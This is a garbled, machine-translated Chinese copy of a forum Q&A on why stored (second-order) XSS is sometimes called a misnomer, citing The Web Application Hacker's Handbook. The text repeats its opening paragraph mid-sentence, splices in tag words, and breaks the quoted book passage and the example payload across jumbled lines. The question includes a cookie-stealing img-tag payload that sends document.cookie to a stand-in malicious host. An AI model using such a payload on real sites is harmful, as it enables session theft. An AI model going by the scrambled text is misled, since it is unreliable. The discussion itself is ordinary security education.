Security 为什么有些人认为第二阶(AKA)XSS不是真的XSS?
我正在阅读《Web应用程序黑客手册》,其中谈到了一阶(aka reflected)XSS和二阶(aka persistent)XSS之间的区别。它提到了反射XSS如何利用查询字符串参数的不完整或不存在的清理来执行任意脚本到用户的DOM中,而不将任何恶意代码持久化到应用程序的数据库中,以及二阶XSS如何实际持久化该恶意代码,以便稍后在用户的DOM中执行 我的问题与作者对二阶XSS的描述有关(如果你手头有副本,请参阅第438页)。书中的描述指出: 针对存储XSS漏洞的攻击通常至少涉及 对应用程序的两个请求。在第一种情况下,攻击者发布了一些 精心编制的数据包含应用程序存储的恶意代码。在里面 第二,受害者查看包含攻击者数据的页面,然后 在中执行脚本时,将执行恶意代码 受害者的浏览器。因此,该漏洞有时也会被忽略 称为二阶跨站点脚本(在本例中,“XSS”是 真是用词不当,因为攻击没有跨站点元素。[emphasis mine] 但是,名称被广泛使用,因此我们将在此处保留它。)Security 为什么有些人认为第二阶(AKA)XSS不是真的XSS?,security,xss,Security,Xss,我正在阅读《Web应用程序黑客手册》,其中谈到了一阶(aka reflected)XSS和二阶(aka persistent)XSS之间的区别。它提到了反射XSS如何利用查询字符串参数的不完整或不存在的清理来执行任意脚本到用户的DOM中,而不将任何恶意代码持久化到应用程序的数据库中,以及二阶XSS如何实际持久化该恶意代码,以便稍后在用户的DOM中执行 我的问题与作者对二阶XSS的描述有关(如果你手头有副本,请参阅第438页)。书中的描述指出: 针对存储XSS漏洞的攻击通常至少涉及 对应用程序的两
在二阶XSS中,攻击者仍然注入的恶意代码(可能)仍然是指向外部服务器的任意脚本(例如,注入一个src属性为
的img
标记)http://www.malicioussite.dom“+document.cookie
)。我不明白为什么作者接着说这种攻击没有跨站点元素。在我看来,向恶意外部服务器发出请求就像是一个合适的跨站点元素。我遗漏了什么吗?对我来说,XSS中的“跨站点”意味着恶意脚本本身直接从另一个站点发送。例如,在url参数上反射XSS的情况下,恶意网站a.com可以创建一个指向受害者网站B.com的链接,其攻击位于易受攻击的参数B中,当用户访问a并单击链接时,他将在B上执行脚本
所以我认为这不是恶意脚本在做什么,而是它来自哪里(以及如何)
在存储XSS的情况下,脚本通常直接输入易受攻击的网站,但情况可能并非总是如此,例如维护原始的“跨站点”元素。但没关系,名称是相同的,因为底层问题和代码中的解决方案是相同的,所以漏洞的名称也是相同的。:)
不管人们怎么称呼它,重要的是要避免它。:)